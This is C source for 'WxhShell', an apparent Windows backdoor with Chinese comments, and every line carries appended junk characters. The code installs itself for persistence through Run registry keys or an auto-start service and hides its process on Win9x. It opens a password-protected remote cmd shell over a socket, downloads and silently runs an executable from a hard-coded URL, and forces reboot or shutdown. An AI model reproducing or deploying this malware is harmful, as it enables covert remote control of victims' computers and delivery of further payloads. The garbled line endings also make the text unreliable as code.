    if(Boot(SHUTDOWN)) U<[jT=L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oc~aW3*A(  
    else { B6MkF"J<  
    closesocket(wsh); 3$_*N(e  
    ExitThread(0); 7}%H2$Do  
    }  HxIoA  
    break; P6YQK+  
    } B?3juyB`--  
  // 获取shell hVM2/j  
  case 's': { r|fO7PD  
    CmdShell(wsh); 5)`h0TK  
    closesocket(wsh); ('4wXD]C  
    ExitThread(0); h55>{)(E  
    break; MwAJ(  
  } JDA]t&D!v  
  // 退出 Y\( ;!o0a  
  case 'x': { kiX%3(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gu<V (M\  
    CloseIt(wsh); \[ M_\&GC  
    break; $;`I,k$0>~  
    } [;^,CD|P  
  // 离开 =|,A%ZGF$  
  case 'q': { =cn~BnowY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Ht=[l=  
    closesocket(wsh); 0x~`5h  
    WSACleanup(); e:E# b~{  
    exit(1); ah+j!e  
    break; PsbG|~  
        } 6 D/tK|  
  } x8\<qh*:  
  } h e&V# #  
8+&JQ"UaB  
  // 提示信息 mU@xc N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >DP:GcTG  
} 3=- })X ;  
  } !re1EL  
6P*O&1hv  
  return; sS9%3i/>  
} TzKK;(GX  
WYszk ,E  
// shell模块句柄 Q7GY3X*kA  
int CmdShell(SOCKET sock) N4wA#\-  
{ m|F:b}0Hb  
STARTUPINFO si; w z=z?AZW  
ZeroMemory(&si,sizeof(si)); P1V1as  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;#/0b{XFj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S GM!#K  
PROCESS_INFORMATION ProcessInfo; IzUo0D*@  
char cmdline[]="cmd"; &{z<kmc$6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P^i.La,  
  return 0; E\$C/}T  
} S_\ F  
Cj^{9'0  
// 自身启动模式 nIBFk?)6  
int StartFromService(void) >qh?L#Fk  
{ _u5dC   
typedef struct t&}6;z 3  
{ y LM"+.?pL  
  DWORD ExitStatus; rMp9jG@3   
  DWORD PebBaseAddress; /;oqf4MF  
  DWORD AffinityMask; u #~ ;&D*q  
  DWORD BasePriority; yZ3nRiuRT  
  ULONG UniqueProcessId; RH[+1z8  
  ULONG InheritedFromUniqueProcessId; JE;+T[I  
}   PROCESS_BASIC_INFORMATION; %e_"CS  
Qf@iU%G  
PROCNTQSIP NtQueryInformationProcess; X3B{8qx_>  
j*3}1L4P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sbS~N*{E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ROdK8*jL  
ZnfNQl[  
  HANDLE             hProcess; v>m n/a  
  PROCESS_BASIC_INFORMATION pbi; XUmR{A  
aE/D*.0NI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lddp^ #f  
  if(NULL == hInst ) return 0; cdTsRS;E  
XsL#;a C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xs!p|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~uj;qq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ln<]-)&C  
6rX_-Mm6w  
  if (!NtQueryInformationProcess) return 0; s9j7Psd  
W?z#pV+jt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H%}IuHhN)  
  if(!hProcess) return 0; `78V%\  
.C bGDZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NlF}{   
'q{733o  
  CloseHandle(hProcess); Vrp[r *V@E  
'C>U=cE7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^p=L\SJ  
if(hProcess==NULL) return 0; xf,5R9g/  
W?XizTW  
HMODULE hMod; 1*Ar{:+ua  
char procName[255]; `G$1n#&  
unsigned long cbNeeded; BfmsMW  
ig_2={Q@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :i*JnlvZ  
)=^w3y  
  CloseHandle(hProcess); `<fh+*  
9|W V~  
if(strstr(procName,"services")) return 1; // 以服务启动 HeA{3s  
OB^Tq~i  
  return 0; // 注册表启动 cQUC.TZ_  
} pq! %?m]  
!#x=JX  
// 主模块 HY}j!X  
int StartWxhshell(LPSTR lpCmdLine) +R.N%_  
{ MI#mAg<  
  SOCKET wsl; ?mYYt]R  
BOOL val=TRUE; K :LL_,  
  int port=0; J5yidymrpW  
  struct sockaddr_in door; E4[}lX}  
|$+5@+Zz  
  if(wscfg.ws_autoins) Install(); |qN'P}L  
>-)h|w i  
port=atoi(lpCmdLine); %[QV,fD'E  
}e]f  
if(port<=0) port=wscfg.ws_port; KfY$ka[}"S  
,,<PVTd  
  WSADATA data; uCP>y6I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rrBAQY|.  
KMK`F{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7^:4A'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;LwqTlJ*[L  
  door.sin_family = AF_INET; TprtE.mP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d"Q |I  
  door.sin_port = htons(port); $2#7D* Rx  
NPjv)TN}3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SUtf[6  
closesocket(wsl); /Cr/RG:OX  
return 1; b.yh8|&  
} slW3qRT\k  
T-" I9kM  
  if(listen(wsl,2) == INVALID_SOCKET) { "ZMkL)'7-  
closesocket(wsl); ]MTbW=*}ED  
return 1; q/&y*)&'O  
} 8im@4A+n`  
  Wxhshell(wsl); (lH,JX`$a  
  WSACleanup(); USPTpjt8R  
ANMg  
return 0; ~H /2R  
+M\8>/0oA  
} 2#5,MP~r  
LM l~yqM  
// 以NT服务方式启动 >'=MH2;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %{5n1w  
{ HgRwi It  
DWORD   status = 0; gn1(4 o  
  DWORD   specificError = 0xfffffff; l=P'B @,  
eC`pnE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ljJ>;g+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z3 ?\:Yz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `NNf&y)y  
  serviceStatus.dwWin32ExitCode     = 0; )Hw:E71h2  
  serviceStatus.dwServiceSpecificExitCode = 0; UWXm?v2j  
  serviceStatus.dwCheckPoint       = 0; yJJ4~j){l  
  serviceStatus.dwWaitHint       = 0; EeQ5vqU  
yJ2B3i@T 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4&X*pL2;  
  if (hServiceStatusHandle==0) return; g /+oZU  
4dh+  
status = GetLastError(); Ca>&  
  if (status!=NO_ERROR) vK'?:}~  
{ LXfCmc9|Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5\4g>5PD  
    serviceStatus.dwCheckPoint       = 0; =hH.zrI6e  
    serviceStatus.dwWaitHint       = 0; 5z/Er".P  
    serviceStatus.dwWin32ExitCode     = status; 2XSHZ|;  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3{Q,h pZN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b=PVIZ  
    return; 3sm M,fi  
  } ": ;@Hnb/  
i6PM<X,{;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '/%zi,0  
  serviceStatus.dwCheckPoint       = 0; UVu DQ  
  serviceStatus.dwWaitHint       = 0; )mcEQ-!b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fys  
} MXh "Y*}  
^HA %q8| n  
// 处理NT服务事件,比如:启动、停止 X]*QUV]i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |;vi*u  
{ Sfjje4R  
switch(fdwControl) K`KLC.j  
{ HeN~c<NuB  
case SERVICE_CONTROL_STOP: v90T{1+M|4  
  serviceStatus.dwWin32ExitCode = 0; j2n,f7hl.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O}ejWP8>  
  serviceStatus.dwCheckPoint   = 0; ) M<vAUF  
  serviceStatus.dwWaitHint     = 0; 'ktHPn ,K  
  { C;B}3g&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xa 9TS"  
  } JiS5um=(.  
  return; x;E2~&E  
case SERVICE_CONTROL_PAUSE: Cpl;vQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]`=X'fED  
  break; ?/#}ZZK^  
case SERVICE_CONTROL_CONTINUE: quu*xJ;Ci  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \+PIe7f_  
  break; =!MY4&YX  
case SERVICE_CONTROL_INTERROGATE: P>Qpv Sd_#  
  break; %"$@%"8;3  
}; WOytxE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -p,x&h,p  
} b'@we0V@S  
v"DL'@$Ut{  
// 标准应用程序主函数 IO$z%r7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  b`mj_b  
{ *JCQu0  
*wbZ;rfF  
// 获取操作系统版本 !b|'Vp^U  
OsIsNt=GetOsVer(); D^F{u Dlb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3TuC+'`G  
\k8rxW  
  // 从命令行安装 keAcKhj  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^U7OMl4Usq  
VV_l$E$  
  // 下载执行文件 B0UJq./`  
if(wscfg.ws_downexe) { ZXb0Y2AVx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wdE?SDs  
  WinExec(wscfg.ws_filenam,SW_HIDE); L#h:*U{@40  
} vR7HF*8  
k!XhFWb  
if(!OsIsNt) { w Fn[9_`*  
// 如果时win9x,隐藏进程并且设置为注册表启动 l95<QI  
HideProc(); &~sfYW  
StartWxhshell(lpCmdLine); tx7~S Ur  
} V`hu,Y;%  
else e_3CSx8Cc  
  if(StartFromService()) xl4=++pu)  
  // 以服务方式启动 QP I+y8N=  
  StartServiceCtrlDispatcher(DispatchTable); :Og:v#r8=  
else u62)QJE  
  // 普通方式启动 -#&kYK#Ph  
  StartWxhshell(lpCmdLine); ,t$,idcT+  
kUHE\L.Y]  
return 0; /FY2vDfU6  
} #&!G"x7  
,2[ra9n  
?[)S7\rP  
r8MZvm2  
=========================================== TQ :/RT  
fp>.Owt%.  
B)SLG]72f  
vFmJ;J  
vxlOh.a|/L  
TJ@Cjy%  
" -C7FuD[Xw  
0(>rG{u  
#include <stdio.h> ph:3|d  
#include <string.h> Mio>{%/  
#include <windows.h> g9h(sLSF  
#include <winsock2.h> 25{ uz  
#include <winsvc.h> XFZ~ #DT&  
#include <urlmon.h> }2>"<)  
qB6dFl\ (  
#pragma comment (lib, "Ws2_32.lib") <|6%9@  
#pragma comment (lib, "urlmon.lib") 0&Gl@4oZ"  
M++0zhS  
#define MAX_USER   100 // 最大客户端连接数 y&T&1o  
#define BUF_SOCK   200 // sock buffer L-i>R:N4  
#define KEY_BUFF   255 // 输入 buffer *6ZCDm&N  
SqPtWEq@P  
#define REBOOT     0   // 重启 Sq]pQ8  
#define SHUTDOWN   1   // 关机 jB$SUO`*  
g;p)n  
#define DEF_PORT   5000 // 监听端口 pNaiXu3  
Y0uvT7+[hi  
#define REG_LEN     16   // 注册表键长度 ` vk0c  
#define SVC_LEN     80   // NT服务名长度 7G2PMe;$m  
3SG?W_  
// 从dll定义API Q%=YM4;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $+= <(*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T8J4C=?/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); haSM=;uPM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z)< wv&K  
!R{R??  
// wxhshell配置信息 n[+'OU[  
struct WSCFG { $ACx*e%  
  int ws_port;         // 监听端口 "l~Ci7& !a  
  char ws_passstr[REG_LEN]; // 口令 |cbd6e{!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]Tp U"JD  
  char ws_regname[REG_LEN]; // 注册表键名 U\<-mXv  
  char ws_svcname[REG_LEN]; // 服务名 T3J'fjY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C9tb\?#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &K%aw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SOh-,c\C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E$\~lcq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8^ep/b&|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lvSdY(8  
*MM#Z?mP  
}; :> -1'HC  
nL `9l1  
// default Wxhshell configuration I`B'1"{  
struct WSCFG wscfg={DEF_PORT, iDb;_?  
    "xuhuanlingzhe", xp \S2@<  
    1, <>&=n+i  
    "Wxhshell", {eZ{]  
    "Wxhshell", t1]6(@mj5  
            "WxhShell Service", qk{'!Ii  
    "Wrsky Windows CmdShell Service", %HuyK  
    "Please Input Your Password: ", %IZ)3x3l  
  1, l[h'6+o  
  "http://www.wrsky.com/wxhshell.exe", .-I|DVHe  
  "Wxhshell.exe" Q s(Bnb;  
    }; y=N"=Z  
Q4'C;<\@(Q  
// 消息定义模块  !rL<5L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kEN#u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %CH6lY=lI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]?l{j  
char *msg_ws_ext="\n\rExit."; O12Q8Oj!0  
char *msg_ws_end="\n\rQuit."; @"87F{!  
char *msg_ws_boot="\n\rReboot..."; *YV S|6bs  
char *msg_ws_poff="\n\rShutdown..."; fv'4f$U  
char *msg_ws_down="\n\rSave to "; 85Y|CN] vQ  
X)Gp7k1w  
char *msg_ws_err="\n\rErr!"; v|t{1[C  
char *msg_ws_ok="\n\rOK!"; ?m%h`<wgMc  
%e%7oqR?  
char ExeFile[MAX_PATH]; _^!vCa7f  
int nUser = 0; Opg#*w%-  
HANDLE handles[MAX_USER]; htJuGfDx1  
int OsIsNt; 4jwu'7 Q  
= 7/-i  
SERVICE_STATUS       serviceStatus; = 1|"-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [Eq<":)  
d "<F!?8  
// 函数声明 RVM&4#E  
int Install(void); PXYE;*d(  
int Uninstall(void); {[OwMk  
int DownloadFile(char *sURL, SOCKET wsh); 1 =GI&f2I  
int Boot(int flag); kA?_%fi1  
void HideProc(void); aq>?vti1D  
int GetOsVer(void); M@7Xp)S"  
int Wxhshell(SOCKET wsl); {[#(w75R{  
void TalkWithClient(void *cs); 8n)WW$  
int CmdShell(SOCKET sock); ]r"Yqv3  
int StartFromService(void); Zr/r2  
int StartWxhshell(LPSTR lpCmdLine); 6SEltm(  
yY=<'{!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c[(Pg%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n~r 9!m$<  
wq0aF"k  
// 数据结构和表定义 N+Sq}hI  
SERVICE_TABLE_ENTRY DispatchTable[] = s;.=5wcvi?  
{ XAic9SNu;  
{wscfg.ws_svcname, NTServiceMain}, R{}qK r  
{NULL, NULL} :=.*I  
}; !k&)EWP?  
! q6hC  
// 自我安装 `lCuU~~ag  
int Install(void) 4br6$  
{ U6j/BJT"  
  char svExeFile[MAX_PATH]; ^X1wI9V  
  HKEY key; &d^=s iL  
  strcpy(svExeFile,ExeFile); %$X\"  
Xa,&ef&q  
// 如果是win9x系统,修改注册表设为自启动 qd2xb8r  
if(!OsIsNt) { i57( $1.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3:`XG2'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *8A6Q9YT  
  RegCloseKey(key); /^<en(0=P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !D:k!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F @SG((`  
  RegCloseKey(key); zY APf &5  
  return 0; /6tcSg)  
    } 3'#%c>_  
  } 8 njuDl  
} aj7dH5SZl  
else { L(o#4YH}>J  
(cV  
// 如果是NT以上系统,安装为系统服务 rw u3Nb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *o4%ul\3Y|  
if (schSCManager!=0) A~71i&  
{ {BOLP E-  
  SC_HANDLE schService = CreateService  rz  
  ( &?<AwtNN  
  schSCManager, _Z#eS/,O@  
  wscfg.ws_svcname, 8&(-8  
  wscfg.ws_svcdisp, 4XG]z_+I  
  SERVICE_ALL_ACCESS, VXC4%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %$n02"@  
  SERVICE_AUTO_START, L3c*LL  
  SERVICE_ERROR_NORMAL, 5' \)`  
  svExeFile, Y3o Mh,  
  NULL, i?>Hr|  
  NULL, *\q8BZ  
  NULL, rg)h 5G  
  NULL, AzjMv6N   
  NULL e-6(F4  
  ); [m#NfA:h,  
  if (schService!=0) xs1bxJ_R  
  { kK?zVH-!  
  CloseServiceHandle(schService); j#igu#MB*  
  CloseServiceHandle(schSCManager); K2|7%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &oN/_7y  
  strcat(svExeFile,wscfg.ws_svcname); fM":f| G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P|}\/}{`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E+{5-[Zc*$  
  RegCloseKey(key); l9Pu&M?5  
  return 0; S aNN;X0  
    } FAtWsk*pgY  
  } %$9:e J?  
  CloseServiceHandle(schSCManager); # "r kuDO  
} ,cQA*;6  
} q$>_WF#||  
Wo3'd|Y~i  
return 1; n~%}Z[5D  
} <%?uYCD  
Bbs 0v6&,  
// 自我卸载 [4gjC  
int Uninstall(void) r$DZkMue  
{ BE4\U_]a3  
  HKEY key; NbDda/7ki  
yWuIu>VJ  
if(!OsIsNt) { 6/7F">@j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G"Pj6QUva  
  RegDeleteValue(key,wscfg.ws_regname); u}CG>^0C  
  RegCloseKey(key); %EIUAG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $rB!Ex{@ac  
  RegDeleteValue(key,wscfg.ws_regname); ?`i|" y #  
  RegCloseKey(key); b%<jUY  
  return 0; P#bm uCOS  
  } *`.LA@bHU  
} yA}nPXrd  
} 1 ypjyu  
else { jkCHi@  
*1,=qRjL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BHclUwj  
if (schSCManager!=0) RAOKZ~`  
{ lko3]A3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ULu O0\W  
  if (schService!=0) o16~l]Z|f  
  { c}cG<F  
  if(DeleteService(schService)!=0) { %&1$~m0  
  CloseServiceHandle(schService); E7 L bSZ  
  CloseServiceHandle(schSCManager); hg&u0AQ2  
  return 0; jrcc  
  } wRi~Yb?  
  CloseServiceHandle(schService); T>5wQYh$'  
  } lb95!.av+I  
  CloseServiceHandle(schSCManager); )<Ob  
} |VYr=hjo  
} I1v@\Rb  
`\e'K56W6  
return 1; 4w9F+*-  
} Gl"wEL*  
QpJ IDM/  
// 从指定url下载文件 ec1Fg0Fa  
int DownloadFile(char *sURL, SOCKET wsh) 8E-Ip>{>  
{ 2;}xN!8  
  HRESULT hr; &m4f1ZO*  
char seps[]= "/"; l]>!`'sJL  
char *token; |is 9  
char *file; Crg#6k1~EN  
char myURL[MAX_PATH]; L:^Y@[f  
char myFILE[MAX_PATH]; x3_,nl  
8_Jj+  
strcpy(myURL,sURL); #'KY`&Tw&  
  token=strtok(myURL,seps); Tz2x9b\82  
  while(token!=NULL) 1sMV`qv>  
  { !,R  
    file=token; 8z0Hx  
  token=strtok(NULL,seps); /t5g"n3  
  } 9?!u2 o  
F*. /D~K  
GetCurrentDirectory(MAX_PATH,myFILE); \CDAFu#  
strcat(myFILE, "\\"); 13\Sh  
strcat(myFILE, file); a YR\<02  
  send(wsh,myFILE,strlen(myFILE),0); 9M nem*  
send(wsh,"...",3,0); CP@o,v-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b sMC#xT  
  if(hr==S_OK) |&(H^<+Xp  
return 0; o KlF5I  
else U#iT<#!l2  
return 1; VrudR#q  
E4hq}  
} XWc|[>iO  
69-$Wn43<  
// 系统电源模块 y^, "gD  
int Boot(int flag) '&/(oJ ;O~  
{ EO"=\C,  
  HANDLE hToken; Px$'(eMj^3  
  TOKEN_PRIVILEGES tkp; ud.poh~|  
ItMl4P`|  
  if(OsIsNt) { M$#+W?m&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 01-p `H+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q.<giBh  
    tkp.PrivilegeCount = 1; D8a)(wm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5#P: "U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2"zIR (  
if(flag==REBOOT) { 0NVG"-Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]y$)%J^T  
  return 0; [;Vi~$p|Eo  
} (tTLK0V-|3  
else { e1oFnu2R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )!BB/'DRQ  
  return 0; KqFmFcf|  
} _AVy:~/  
  } +V6j`  
  else { rnJS[o0  
if(flag==REBOOT) { Qz'O{f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J&(  
  return 0; p$B)^S%0i  
} 7jhl0  
else { l DgzM3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h)"'YzCt  
  return 0; FyQOa)5  
} ZV0) ."^Z  
} bx1G CD  
pVdhj^n  
return 1; kWI]fZ_n  
} {|G&W^`  
)x y9X0  
// win9x进程隐藏模块 ?exALv'B  
void HideProc(void) ><MGZ?-N  
{ "pR $cS  
<<i=+ed8eP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >qr=l,Hi  
  if ( hKernel != NULL ) F>p%2II/  
  { hU |LFjc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mf!owpW T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,^Ex}Z  
    FreeLibrary(hKernel); ))c*_n  
  } :Xb*m85y  
RJQ/y3  
return; g8C+1G8  
} 9c#L{in  
D-;J;m \  
// 获取操作系统版本 c"6Kd$?M  
int GetOsVer(void) $XU-[OF%:9  
{ D 86 K$IT  
  OSVERSIONINFO winfo; ~Ay  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S^*(ALFPj  
  GetVersionEx(&winfo); :h3#1fko  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !$g(&  
  return 1; Fj '\v#h  
  else Rh5@[cg%  
  return 0; h;&&@5@lM  
} 0;. e#(`-  
e&r+w!  
// 客户端句柄模块 |j\eBCnH3  
int Wxhshell(SOCKET wsl) OFJJ-4[_3  
{ c }g$1of87  
  SOCKET wsh; \mqhugy  
  struct sockaddr_in client; rjq -ZrC%  
  DWORD myID; F0DPS:c  
DK2c]i^|=  
  while(nUser<MAX_USER) TiwHLb9  
{ :FEd:0TS  
  int nSize=sizeof(client); Lqy|DJ%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gEX:S(1 QP  
  if(wsh==INVALID_SOCKET) return 1; k i~Raa/e  
":5~L9&G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VKl~oFKXJ  
if(handles[nUser]==0) H J2O@e  
  closesocket(wsh); g;| n8]  
else N9~'P-V  
  nUser++; {FrHm  
  } D_L'x"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BN bb&]  
UFSEobhg&5  
  return 0; O :5ldI  
} rElG7[+)p  
LWp?U!N  
// 关闭 socket LGdf_M-f  
void CloseIt(SOCKET wsh) 0~LnnD N  
{ hfVzzVX:  
closesocket(wsh); bYRQI=gW':  
nUser--; FuRn%)DA5  
ExitThread(0); >rQ)|W=i  
} 'dd<<E  
74</6T]^  
// 客户端请求句柄 |qFN~!  
void TalkWithClient(void *cs) 4kN:=g  
{ = m!!  
'Y6(4|w (  
  SOCKET wsh=(SOCKET)cs; hNgcE,67q  
  char pwd[SVC_LEN]; GLoL4el  
  char cmd[KEY_BUFF]; lB YS>4~  
char chr[1]; {RWahnr{  
int i,j; hU=f?jo/  
]7Xs=>"Iw  
  while (nUser < MAX_USER) { EV;;N  
@)FXG~C*  
if(wscfg.ws_passstr) { vErbX3RY2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c{r6a=C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p)AvG;  
  //ZeroMemory(pwd,KEY_BUFF); f]^J,L9qz  
      i=0; K1qY10F:_  
  while(i<SVC_LEN) { c"jhbH!u4  
]Y/pSwnV  
  // 设置超时 60SenHKles  
  fd_set FdRead; ?N9adL &b  
  struct timeval TimeOut; $txWVjR?\  
  FD_ZERO(&FdRead); )Q N=>J  
  FD_SET(wsh,&FdRead); DXw9@b  
  TimeOut.tv_sec=8; v: !7n  
  TimeOut.tv_usec=0; rSzXa4m(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SK~;<>:37  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /3bca!O  
dh7)N}2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s2 t-T0;  
  pwd=chr[0]; Y?q*hS0!H  
  if(chr[0]==0xd || chr[0]==0xa) { x<j($iv  
  pwd=0; 5}(YMsUb  
  break; 9fk\Ay1P  
  } 1[,#@!k@  
  i++; R _~m\P  
    } omDi<-  
`XRb:d^  
  // 如果是非法用户,关闭 socket KfN`ZZ<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qc)RrqYNGF  
} mYU dhL ^  
:D)&>{?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tue%L]hc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %)!~t8To  
RI< Yg#   
while(1) { A+Pm "|  
EKI+Dq,  
  ZeroMemory(cmd,KEY_BUFF); fuwpp  
~N+/ZVo&y  
      // 自动支持客户端 telnet标准   XzTH,7[n  
  j=0; }<x!95  
  while(j<KEY_BUFF) { V-o`L`(F`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #h|,GvmF<b  
  cmd[j]=chr[0]; lQ(BEv"2G[  
  if(chr[0]==0xa || chr[0]==0xd) { Tef3 Z6  
  cmd[j]=0; ^?l-YnQqm?  
  break; ` TVcI\W  
  } j,V$vKP  
  j++; JCMEhI6d*  
    } Z~.]ZWj -  
w1/T>o  
  // 下载文件 MsVI <+JZ  
  if(strstr(cmd,"http://")) { RHA>fXp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WSX@0A.&)  
  if(DownloadFile(cmd,wsh))  z]R!l%`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk3e^,[A  
  else !n?*vN=S  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^_"q`71Dk  
  } eDMwY$J  
  else { #p:jKAc3  
f;; S  
    switch(cmd[0]) { )@&?i.  
  "oGM> @q=B  
  // 帮助 r:\5/0(  
  case '?': { mQ `r`DW  
